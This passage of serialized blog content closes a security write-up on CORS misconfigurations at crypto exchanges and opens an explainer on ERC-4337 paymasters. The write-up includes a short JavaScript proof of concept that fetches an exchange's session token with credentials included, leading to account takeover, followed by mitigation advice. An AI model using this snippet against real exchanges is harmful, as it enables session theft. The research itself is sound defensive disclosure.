misconfiguration:",{"type":23,"tag":435,"props":99362,"children":99364},{"className":28878,"code":99363,"language":28880,"meta":7,"style":7},"(async () => {\n let res = await fetch('https://www.exchange.com/api/session_token', {\n credentials: 'include',\n method: 'POST',\n });\n console.log(await res.json());\n})();\n",[99365],{"type":23,"tag":64,"props":99366,"children":99367},{"__ignoreMap":7},[99368,99391,99428,99445,99462,99469,99510],{"type":23,"tag":481,"props":99369,"children":99370},{"class":483,"line":484},[99371,99375,99379,99383,99387],{"type":23,"tag":481,"props":99372,"children":99373},{"style":525},[99374],{"type":28,"value":618},{"type":23,"tag":481,"props":99376,"children":99377},{"style":497},[99378],{"type":28,"value":33663},{"type":23,"tag":481,"props":99380,"children":99381},{"style":525},[99382],{"type":28,"value":37215},{"type":23,"tag":481,"props":99384,"children":99385},{"style":497},[99386],{"type":28,"value":12310},{"type":23,"tag":481,"props":99388,"children":99389},{"style":525},[99390],{"type":28,"value":809},{"type":23,"tag":481,"props":99392,"children":99393},{"class":483,"line":351},[99394,99398,99403,99407,99411,99415,99419,99424],{"type":23,"tag":481,"props":99395,"children":99396},{"style":497},[99397],{"type":28,"value":5334},{"type":23,"tag":481,"props":99399,"children":99400},{"style":508},[99401],{"type":28,"value":99402}," res",{"type":23,"tag":481,"props":99404,"children":99405},{"style":514},[99406],{"type":28,"value":517},{"type":23,"tag":481,"props":99408,"children":99409},{"style":535},[99410],{"type":28,"value":33729},{"type":23,"tag":481,"props":99412,"children":99413},{"style":610},[99414],{"type":28,"value":30445},{"type":23,"tag":481,"props":99416,"children":99417},{"style":525},[99418],{"type":28,"value":618},{"type":23,"tag":481,"props":99420,"children":99421},{"style":1805},[99422],{"type":28,"value":99423},"'https://www.exchange.com/api/session_token'",{"type":23,"tag":481,"props":99425,"children":99426},{"style":525},[99427],{"type":28,"value":46407},{"type":23,"tag":481,"props":99429,"children":99430},{"class":483,"line":531},[99431,99436,99441],{"type":23,"tag":481,"props":99432,"children":99433},{"style":508},[99434],{"type":28,"value":99435}," credentials:",{"type":23,"tag":481,"props":99437,"children":99438},{"style":1805},[99439],{"type":28,"value":99440}," 'include'",{"type":23,"tag":481,"props":99442,"children":99443},{"style":525},[99444],{"type":28,"value":1033},{"type":23,"tag":481,"props":99446,"children":99447},{"class":483,"line":567},[99448,99453,99458],{"type":23,"tag":481,"props":99449,"children":99450},{"style":508},[99451],{"type":28,"value":99452}," method:",{"type":23,"tag":481,"props":99454,"children":99455},{"style":1805},[99456],{"type":28,"value":99457}," 'POST'",{"type":23,"tag":481,"props":99459,"children":99460},{"style":525},[99461],{"type":28,"value":1033},{"type":23,"tag":481,"props":99463,"children":99464},{"class":483,"line":678},[99465],{"type":23,"tag":481,"props":99466,"children":99467},{"style":525},[99468],{"type":28,"value":95726},{"type":23,"tag":481,"props":99470,"children":99471},{"class":483,"line":784},[99472,99477,99481,99486,99490,99494,99498,99502,99506],{"type":23,"tag":481,"props":99473,"children":99474},{"style":508},[99475],{"type":28,"value":99476}," console",{"type":23,"tag":481,"props":99478,"children":99479},{"style":525},[99480],{"type":28,"value":199},{"type":23,"tag":481,"props":99482,"children":99483},{"style":610},[99484],{"type":28,"value":99485},"log",{"type":23,"tag":481,"props":99487,"children":99488},{"style":525},[99489],{"type":28,"value":618},{"type":23,"tag":481,"props":99491,"children":99492},{"style":535},[99493],{"type":28,"value":30432},{"type":23,"tag":481,"props":99495,"children":99496},{"style":508},[99497],{"type":28,"value":99402},{"type":23,"tag":481,"props":99499,"children":99500},{"style":525},[99501],{"type":28,"value":199},{"type":23,"tag":481,"props":99503,"children":99504},{"style":610},[99505],{"type":28,"value":31514},{"type":23,"tag":481,"props":99507,"children":99508},{"style":525},[99509],{"type":28,"value":12914},{"type":23,"tag":481,"props":99511,"children":99512},{"class":483,"line":812},[99513],{"type":23,"tag":481,"props":99514,"children":99515},{"style":525},[99516],{"type":28,"value":99517},"})();\n",{"type":23,"tag":24,"props":99519,"children":99520},{},[99521],{"type":28,"value":99522},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":23,"tag":7092,"props":99524,"children":99525},{"id":37852},[99526],{"type":28,"value":37855},{"type":23,"tag":24,"props":99528,"children":99529},{},[99530,99532,99537],{"type":28,"value":99531},"As mitigation, it is recommended to remove all ",{"type":23,"tag":64,"props":99533,"children":99535},{"className":99534},[],[99536],{"type":28,"value":99209},{"type":28,"value":99538}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":23,"tag":24,"props":99540,"children":99541},{},[99542],{"type":28,"value":99543},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":23,"tag":31,"props":99545,"children":99546},{"id":26445},[99547],{"type":28,"value":16443},{"type":23,"tag":24,"props":99549,"children":99550},{},[99551],{"type":28,"value":99552},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":23,"tag":24,"props":99554,"children":99555},{},[99556],{"type":28,"value":99557},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":23,"tag":2918,"props":99559,"children":99560},{},[99561],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":99563},[99564,99569,99574],{"id":97248,"depth":351,"text":97251,"children":99565},[99566,99567,99568],{"id":97259,"depth":531,"text":97262},{"id":97616,"depth":531,"text":97619},{"id":99179,"depth":531,"text":99182},{"id":99190,"depth":351,"text":99193,"children":99570},[99571,99572,99573],{"id":99254,"depth":531,"text":99257},{"id":99311,"depth":531,"text":97643},{"id":37852,"depth":531,"text":37855},{"id":26445,"depth":351,"text":16443},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":99579,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":99580,"description":99581,"date":99582,"author":99583,"image":99584,"isFeatured":15,"onBlogPage":15,"tags":99586,"body":99589,"_type":358,"_id":105361,"_source":360,"_file":105362,"_stem":105363,"_extension":363},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":99585,"width":94800,"height":11111},"/posts/paymasters-evm/title.png",[99587,99588],"evm","ERC-4337",{"type":20,"children":99590,"toc":105340},[99591,99595,99606,99611,99616,99621,99627,99633,99638,99643,99649,99654,99682,99688,99693,99700,99705,99715,99720,99746,99752,99772,99778,99798,99806,99837,99870,99879,99891,99916,99928,99941,99984,99990,100023,100122,100141,100164,100169,100175,100203,100350,100355,100382,100388,100400,100412,100421,100456,100461,101946,101974,101995,102000,102012,102021,102026,102044,102067,102072,102078,102132,102138,102171,102206,103030,103066,103102,103168,103201,103699,103752,103764,104328,104397,104424,105046,105088,105115,105127,105188,105207,105241,105246,105251,105256,105260,105265,105300,105326,105331,105336],{"type":23,"tag":32890,"props":99592,"children":99593},{"id":26528},[99594],{"type":28,"value":26531},{"type":23,"tag":24,"props":99596,"children":99597},{},[99598,99604],{"type":23,"tag":190,"props":99599,"children":99602},{"href":99600,"rel":99601},"https://docs.erc4337.io/",[194],[99603],{"type":28,"value":99588},{"type":28,"value":99605}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":23,"tag":24,"props":99607,"children":99608},{},[99609],{"type":28,"value":99610},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":23,"tag":24,"props":99612,"children":99613},{},[99614],{"type":28,"value":99615},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":23,"tag":24,"props":99617,"children":99618},{},[99619],{"type":28,"value":99620},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":23,"tag":32890,"props":99622,"children":99624},{"id":99623},"erc4337-overview",[99625],{"type":28,"value":99626},"ERC4337 Overview",{"type":23,"tag":31,"props":99628,"children":99630},{"id":99629},"traditional-eoas-vs-smart-contract-wallets",[99631],{"type":28,"value":99632},"Traditional EOAs vs Smart Contract Wallets",{"type":23,"tag":24,"props":99634,"children":99635},{},[99636],{"type":28,"value":99637},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":23,"tag":24,"props":99639,"children":99640},{},[99641],{"type":28,"value":99642},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":23,"tag":31,"props":99644,"children":99646},{"id":99645},"why-erc4337-was-introduced",[99647],{"type":28,"value":99648},"Why ERC‑4337 Was Introduced",{"type":23,"tag":24,"props":99650,"children":99651},{},[99652],{"type":28,"value":99653},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":23,"tag":14178,"props":99655,"children":99656},{},[99657,99662,99667,99672,99677],{"type":23,"tag":77,"props":99658,"children":99659},{},[99660],{"type":28,"value":99661},"User recovery for lost keys (e.g. social recovery)",{"type":23,"tag":77,"props":99663,"children":99664},{},[99665],{"type":28,"value":99666},"Batched or atomic multi-step operations in one flow",{"type":23,"tag":77,"props":99668,"children":99669},{},[99670],{"type":28,"value":99671},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":23,"tag":77,"props":99673,"children":99674},{},[99675],{"type":28,"value":99676},"Using custom signature schemes or multisig logic",{"type":23,"tag":77,"props":99678,"children":99679},{},[99680],{"type":28,"value":99681},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":23,"tag":31,"props":99683,"children":99685},{"id":99684},"how-erc-4337-works",[99686],{"type":28,"value":99687},"How ERC-4337 Works",{"type":23,"tag":24,"props":99689,"children":99690},{},[99691],{"type":28,"value":99692},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":23,"tag":24,"props":99694,"children":99695},{},[99696],{"type":23,"tag":149,"props":99697,"children":99699},{"alt":48104,"src":99698},"/posts/paymasters-evm/flowchart.png",[],{"type":23,"tag":24,"props":99701,"children":99702},{},[99703],{"type":28,"value":99704},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":23,"tag":7092,"props":99706,"children":99708},{"id":99707},"useroperation",[99709],{"type":23,"tag":64,"props":99710,"children":99712},{"className":99711},[],[99713],{"type":28,"value":99714},"UserOperation",{"type":23,"tag":24,"props":99716,"children":99717},{},[99718],{"type":28,"value":99719},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":23,"tag":14178,"props":99721,"children":99722},{},[99723,99728,99733],{"type":23,"tag":77,"props":99724,"children":99725},{},[99726],{"type":28,"value":99727},"Target contract call(s)",{"type":23,"tag":77,"props":99729,"children":99730},{},[99731],{"type":28,"value":99732},"Signature or validation metadata",{"type":23,"tag":77,"props":99734,"children":99735},{},[99736,99738,99744],{"type":28,"value":99737},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":23,"tag":64,"props":99739,"children":99741},{"className":99740},[],[99742],{"type":28,"value":99743},"UserOperations",{"type":28,"value":99745}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":23,"tag":7092,"props":99747,"children":99749},{"id":99748},"smart-contract-account",[99750],{"type":28,"value":99751},"Smart Contract Account",{"type":23,"tag":24,"props":99753,"children":99754},{},[99755,99757,99763,99764,99770],{"type":28,"value":99756},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":23,"tag":64,"props":99758,"children":99760},{"className":99759},[],[99761],{"type":28,"value":99762},"validateUserOp()",{"type":28,"value":8478},{"type":23,"tag":64,"props":99765,"children":99767},{"className":99766},[],[99768],{"type":28,"value":99769},"executeUserOp()",{"type":28,"value":99771},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":23,"tag":7092,"props":99773,"children":99775},{"id":99774},"bundler",[99776],{"type":28,"value":99777},"Bundler",{"type":23,"tag":24,"props":99779,"children":99780},{},[99781,99783,99788,99790,99796],{"type":28,"value":99782},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":23,"tag":64,"props":99784,"children":99786},{"className":99785},[],[99787],{"type":28,"value":99743},{"type":28,"value":99789},", packages them, and submits them in a single transaction to the ",{"type":23,"tag":64,"props":99791,"children":99793},{"className":99792},[],[99794],{"type":28,"value":99795},"EntryPoint",{"type":28,"value":99797}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":23,"tag":7092,"props":99799,"children":99800},{"id":12211},[99801],{"type":23,"tag":64,"props":99802,"children":99804},{"className":99803},[],[99805],{"type":28,"value":99795},{"type":23,"tag":24,"props":99807,"children":99808},{},[99809,99810,99815,99817,99822,99824,99828,99830,99835],{"type":28,"value":14104},{"type":23,"tag":64,"props":99811,"children":99813},{"className":99812},[],[99814],{"type":28,"value":99795},{"type":28,"value":99816}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":23,"tag":64,"props":99818,"children":99820},{"className":99819},[],[99821],{"type":28,"value":99743},{"type":28,"value":99823}," submitted by a ",{"type":23,"tag":2875,"props":99825,"children":99826},{},[99827],{"type":28,"value":99777},{"type":28,"value":99829},", the ",{"type":23,"tag":64,"props":99831,"children":99833},{"className":99832},[],[99834],{"type":28,"value":99795},{"type":28,"value":99836}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":23,"tag":24,"props":99838,"children":99839},{},[99840,99842,99847,99849,99853,99855,99860,99862,99868],{"type":28,"value":99841},"Once all operations have been processed, the ",{"type":23,"tag":64,"props":99843,"children":99845},{"className":99844},[],[99846],{"type":28,"value":99795},{"type":28,"value":99848}," calculates the total gas consumed and reimburses the ",{"type":23,"tag":2875,"props":99850,"children":99851},{},[99852],{"type":28,"value":99777},{"type":28,"value":99854},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":23,"tag":64,"props":99856,"children":99858},{"className":99857},[],[99859],{"type":28,"value":99795},{"type":28,"value":99861}," or from a ",{"type":23,"tag":64,"props":99863,"children":99865},{"className":99864},[],[99866],{"type":28,"value":99867},"paymaster",{"type":28,"value":99869}," that has agreed to sponsor the transaction.",{"type":23,"tag":7092,"props":99871,"children":99872},{"id":99867},[99873],{"type":23,"tag":64,"props":99874,"children":99876},{"className":99875},[],[99877],{"type":28,"value":99878},"Paymaster",{"type":23,"tag":24,"props":99880,"children":99881},{},[99882,99884,99889],{"type":28,"value":99883},"A ",{"type":23,"tag":64,"props":99885,"children":99887},{"className":99886},[],[99888],{"type":28,"value":99867},{"type":28,"value":99890}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":23,"tag":14178,"props":99892,"children":99893},{},[99894,99905],{"type":23,"tag":77,"props":99895,"children":99896},{},[99897,99903],{"type":23,"tag":64,"props":99898,"children":99900},{"className":99899},[],[99901],{"type":28,"value":99902},"validatePaymasterUserOp()",{"type":28,"value":99904}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":23,"tag":77,"props":99906,"children":99907},{},[99908,99914],{"type":23,"tag":64,"props":99909,"children":99911},{"className":99910},[],[99912],{"type":28,"value":99913},"postOp()",{"type":28,"value":99915},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":23,"tag":24,"props":99917,"children":99918},{},[99919,99921,99926],{"type":28,"value":99920},"By supporting both sponsorship and token-based gas payments, ",{"type":23,"tag":64,"props":99922,"children":99924},{"className":99923},[],[99925],{"type":28,"value":99867},{"type":28,"value":99927}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":23,"tag":31,"props":99929,"children":99931},{"id":99930},"understanding-the-entrypoints-flow",[99932,99934,99939],{"type":28,"value":99933},"Understanding the ",{"type":23,"tag":64,"props":99935,"children":99937},{"className":99936},[],[99938],{"type":28,"value":99795},{"type":28,"value":99940},"'s Flow",{"type":23,"tag":24,"props":99942,"children":99943},{},[99944,99946,99951,99952,99957,99959,99970,99972,99977,99978,99983],{"type":28,"value":99945},"When a bundler submits ",{"type":23,"tag":64,"props":99947,"children":99949},{"className":99948},[],[99950],{"type":28,"value":99743},{"type":28,"value":13902},{"type":23,"tag":64,"props":99953,"children":99955},{"className":99954},[],[99956],{"type":28,"value":99795},{"type":28,"value":99958}," contract via ",{"type":23,"tag":190,"props":99960,"children":99963},{"href":99961,"rel":99962},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[194],[99964],{"type":23,"tag":64,"props":99965,"children":99967},{"className":99966},[],[99968],{"type":28,"value":99969},"handleOps()",{"type":28,"value":99971},", the processing occurs in two main phases: ",{"type":23,"tag":2875,"props":99973,"children":99974},{},[99975],{"type":28,"value":99976},"Validation",{"type":28,"value":8478},{"type":23,"tag":2875,"props":99979,"children":99980},{},[99981],{"type":28,"value":99982},"Execution",{"type":28,"value":199},{"type":23,"tag":7092,"props":99985,"children":99987},{"id":99986},"validation-phase",[99988],{"type":28,"value":99989},"Validation Phase",{"type":23,"tag":24,"props":99991,"children":99992},{},[99993,99995,100000,100002,100008,100010,100016,100017,100022],{"type":28,"value":99994},"In this phase, the ",{"type":23,"tag":64,"props":99996,"children":99998},{"className":99997},[],[99999],{"type":28,"value":99795},{"type":28,"value":100001}," first validates all operations in the submitted ",{"type":23,"tag":64,"props":100003,"children":100005},{"className":100004},[],[100006],{"type":28,"value":100007},"UserOps",{"type":28,"value":100009}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":23,"tag":64,"props":100011,"children":100013},{"className":100012},[],[100014],{"type":28,"value":100015},"UserOp",{"type":28,"value":99829},{"type":23,"tag":64,"props":100018,"children":100020},{"className":100019},[],[100021],{"type":28,"value":99795},{"type":28,"value":287},{"type":23,"tag":73,"props":100024,"children":100025},{},[100026,100044,100062,100083,100095],{"type":23,"tag":77,"props":100027,"children":100028},{},[100029,100036,100038],{"type":23,"tag":190,"props":100030,"children":100033},{"href":100031,"rel":100032},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[194],[100034],{"type":28,"value":100035},"Calculates",{"type":28,"value":100037}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":23,"tag":64,"props":100039,"children":100041},{"className":100040},[],[100042],{"type":28,"value":100043},"maxFeePerGas",{"type":23,"tag":77,"props":100045,"children":100046},{},[100047,100054,100055,100060],{"type":23,"tag":190,"props":100048,"children":100051},{"href":100049,"rel":100050},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[194],[100052],{"type":28,"value":100053},"Calls",{"type":28,"value":3935},{"type":23,"tag":64,"props":100056,"children":100058},{"className":100057},[],[100059],{"type":28,"value":99762},{"type":28,"value":100061}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":23,"tag":77,"props":100063,"children":100064},{},[100065,100067,100074,100076,100081],{"type":28,"value":100066},"If no paymaster is specified, attempts to ",{"type":23,"tag":190,"props":100068,"children":100071},{"href":100069,"rel":100070},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[194],[100072],{"type":28,"value":100073},"deduct",{"type":28,"value":100075}," the prefund amount from the sender's ETH deposit in the ",{"type":23,"tag":64,"props":100077,"children":100079},{"className":100078},[],[100080],{"type":28,"value":99795},{"type":28,"value":100082}," (this can be partially refunded later if actual execution costs less)",{"type":23,"tag":77,"props":100084,"children":100085},{},[100086,100093],{"type":23,"tag":190,"props":100087,"children":100090},{"href":100088,"rel":100089},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[194],[100091],{"type":28,"value":100092},"Validates",{"type":28,"value":100094}," the nonce to prevent replay attacks",{"type":23,"tag":77,"props":100096,"children":100097},{},[100098,100100,100106,100108,100114,100115,100120],{"type":28,"value":100099},"If a paymaster is specified, it will ",{"type":23,"tag":190,"props":100101,"children":100104},{"href":100102,"rel":100103},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[194],[100105],{"type":28,"value":100073},{"type":28,"value":100107}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":23,"tag":190,"props":100109,"children":100112},{"href":100110,"rel":100111},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[194],[100113],{"type":28,"value":35814},{"type":28,"value":3935},{"type":23,"tag":64,"props":100116,"children":100118},{"className":100117},[],[100119],{"type":28,"value":99902},{"type":28,"value":100121}," on the paymaster contract to verify it will cover gas costs",{"type":23,"tag":24,"props":100123,"children":100124},{},[100125,100127,100132,100134,100139],{"type":28,"value":100126},"Only after all these validation checks pass will the ",{"type":23,"tag":64,"props":100128,"children":100130},{"className":100129},[],[100131],{"type":28,"value":99795},{"type":28,"value":100133}," move on to actually executing the ",{"type":23,"tag":64,"props":100135,"children":100137},{"className":100136},[],[100138],{"type":28,"value":99714},{"type":28,"value":100140},". This strict validation flow ensures that:",{"type":23,"tag":14178,"props":100142,"children":100143},{},[100144,100149,100154,100159],{"type":23,"tag":77,"props":100145,"children":100146},{},[100147],{"type":28,"value":100148},"The operation is legitimate and authorized by the user",{"type":23,"tag":77,"props":100150,"children":100151},{},[100152],{"type":28,"value":100153},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":23,"tag":77,"props":100155,"children":100156},{},[100157],{"type":28,"value":100158},"The operation cannot be replayed",{"type":23,"tag":77,"props":100160,"children":100161},{},[100162],{"type":28,"value":100163},"All involved contracts (sender and paymaster) have approved the execution",{"type":23,"tag":24,"props":100165,"children":100166},{},[100167],{"type":28,"value":100168},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":23,"tag":7092,"props":100170,"children":100172},{"id":100171},"execution-phase",[100173],{"type":28,"value":100174},"Execution Phase",{"type":23,"tag":24,"props":100176,"children":100177},{},[100178,100180,100185,100187,100194,100196,100201],{"type":28,"value":100179},"After all operations have passed validation, the ",{"type":23,"tag":64,"props":100181,"children":100183},{"className":100182},[],[100184],{"type":28,"value":99795},{"type":28,"value":100186}," begins the ",{"type":23,"tag":190,"props":100188,"children":100191},{"href":100189,"rel":100190},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[194],[100192],{"type":28,"value":100193},"execution",{"type":28,"value":100195}," phase, processing each ",{"type":23,"tag":64,"props":100197,"children":100199},{"className":100198},[],[100200],{"type":28,"value":99714},{"type":28,"value":100202}," individually. For each operation, the flow is:",{"type":23,"tag":73,"props":100204,"children":100205},{},[100206,100266,100312],{"type":23,"tag":77,"props":100207,"children":100208},{},[100209,100210,100215,100217,100223,100224,100230,100232],{"type":28,"value":14104},{"type":23,"tag":64,"props":100211,"children":100213},{"className":100212},[],[100214],{"type":28,"value":99795},{"type":28,"value":100216}," makes a ",{"type":23,"tag":190,"props":100218,"children":100221},{"href":100219,"rel":100220},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[194],[100222],{"type":28,"value":35814},{"type":28,"value":54303},{"type":23,"tag":64,"props":100225,"children":100227},{"className":100226},[],[100228],{"type":28,"value":100229},"innerHandleOp()",{"type":28,"value":100231},", which:\n",{"type":23,"tag":14178,"props":100233,"children":100234},{},[100235,100247,100252],{"type":23,"tag":77,"props":100236,"children":100237},{},[100238,100245],{"type":23,"tag":190,"props":100239,"children":100242},{"href":100240,"rel":100241},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[194],[100243],{"type":28,"value":100244},"Forwards",{"type":28,"value":100246}," the operation to the sender's smart account contract",{"type":23,"tag":77,"props":100248,"children":100249},{},[100250],{"type":28,"value":100251},"Executes the intended transaction(s) within the smart account",{"type":23,"tag":77,"props":100253,"children":100254},{},[100255,100257,100264],{"type":28,"value":100256},"Handles ",{"type":23,"tag":190,"props":100258,"children":100261},{"href":100259,"rel":100260},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[194],[100262],{"type":28,"value":100263},"post-execution",{"type":28,"value":100265}," tasks and cleanup",{"type":23,"tag":77,"props":100267,"children":100268},{},[100269,100271,100277,100279,100285,100286,100292,100294],{"type":28,"value":100270},"If a paymaster was used, ",{"type":23,"tag":64,"props":100272,"children":100274},{"className":100273},[],[100275],{"type":28,"value":100276},"Entrypoint",{"type":28,"value":100278}," will ",{"type":23,"tag":190,"props":100280,"children":100283},{"href":100281,"rel":100282},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[194],[100284],{"type":28,"value":35814},{"type":28,"value":3935},{"type":23,"tag":64,"props":100287,"children":100289},{"className":100288},[],[100290],{"type":28,"value":100291},"paymaster.postOp()",{"type":28,"value":100293}," to:\n",{"type":23,"tag":14178,"props":100295,"children":100296},{},[100297,100302,100307],{"type":23,"tag":77,"props":100298,"children":100299},{},[100300],{"type":28,"value":100301},"Allow paymaster to finalize its accounting",{"type":23,"tag":77,"props":100303,"children":100304},{},[100305],{"type":28,"value":100306},"Process any refunds or additional charges",{"type":23,"tag":77,"props":100308,"children":100309},{},[100310],{"type":28,"value":100311},"Complete any paymaster-specific logic",{"type":23,"tag":77,"props":100313,"children":100314},{},[100315,100317,100322,100323,100330,100332],{"type":28,"value":100316},"Finally, after all operations are processed, the ",{"type":23,"tag":64,"props":100318,"children":100320},{"className":100319},[],[100321],{"type":28,"value":99795},{"type":28,"value":3935},{"type":23,"tag":190,"props":100324,"children":100327},{"href":100325,"rel":100326},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[194],[100328],{"type":28,"value":100329},"compensates",{"type":28,"value":100331}," the bundler for:\n",{"type":23,"tag":14178,"props":100333,"children":100334},{},[100335,100340,100345],{"type":23,"tag":77,"props":100336,"children":100337},{},[100338],{"type":28,"value":100339},"Gas costs from executing all operations",{"type":23,"tag":77,"props":100341,"children":100342},{},[100343],{"type":28,"value":100344},"Overhead from submitting the batch transaction",{"type":23,"tag":77,"props":100346,"children":100347},{},[100348],{"type":28,"value":100349},"Any unused gas, which is refunded",{"type":23,"tag":24,"props":100351,"children":100352},{},[100353],{"type":28,"value":100354},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":23,"tag":24,"props":100356,"children":100357},{},[100358,100360,100365,100367,100373,100375,100380],{"type":28,"value":100359},"Now that we understand how the ",{"type":23,"tag":64,"props":100361,"children":100363},{"className":100362},[],[100364],{"type":28,"value":99795},{"type":28,"value":100366}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":23,"tag":64,"props":100368,"children":100370},{"className":100369},[],[100371],{"type":28,"value":100372},"paymasters",{"type":28,"value":100374}," that align with the ",{"type":23,"tag":64,"props":100376,"children":100378},{"className":100377},[],[100379],{"type":28,"value":99795},{"type":28,"value":100381},"'s execution model, leading to potential vulnerabilities.",{"type":23,"tag":32890,"props":100383,"children":100385},{"id":100384},"common-pitfalls-in-paymaster-implementation",[100386],{"type":28,"value":100387},"Common Pitfalls in Paymaster Implementation",{"type":23,"tag":24,"props":100389,"children":100390},{},[100391,100393,100398],{"type":28,"value":100392},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":23,"tag":64,"props":100394,"children":100396},{"className":100395},[],[100397],{"type":28,"value":99795},{"type":28,"value":100399}," to exploitation or griefing.",{"type":23,"tag":24,"props":100401,"children":100402},{},[100403,100405,100410],{"type":28,"value":100404},"In this section, we’ll walk through the ",{"type":23,"tag":2875,"props":100406,"children":100407},{},[100408],{"type":28,"value":100409},"two most common pitfalls",{"type":28,"value":100411}," we’ve observed in real-world paymaster implementations:",{"type":23,"tag":31,"props":100413,"children":100415},{"id":100414},"undercalculated-gas-costs",[100416],{"type":23,"tag":2875,"props":100417,"children":100418},{},[100419],{"type":28,"value":100420},"Undercalculated Gas 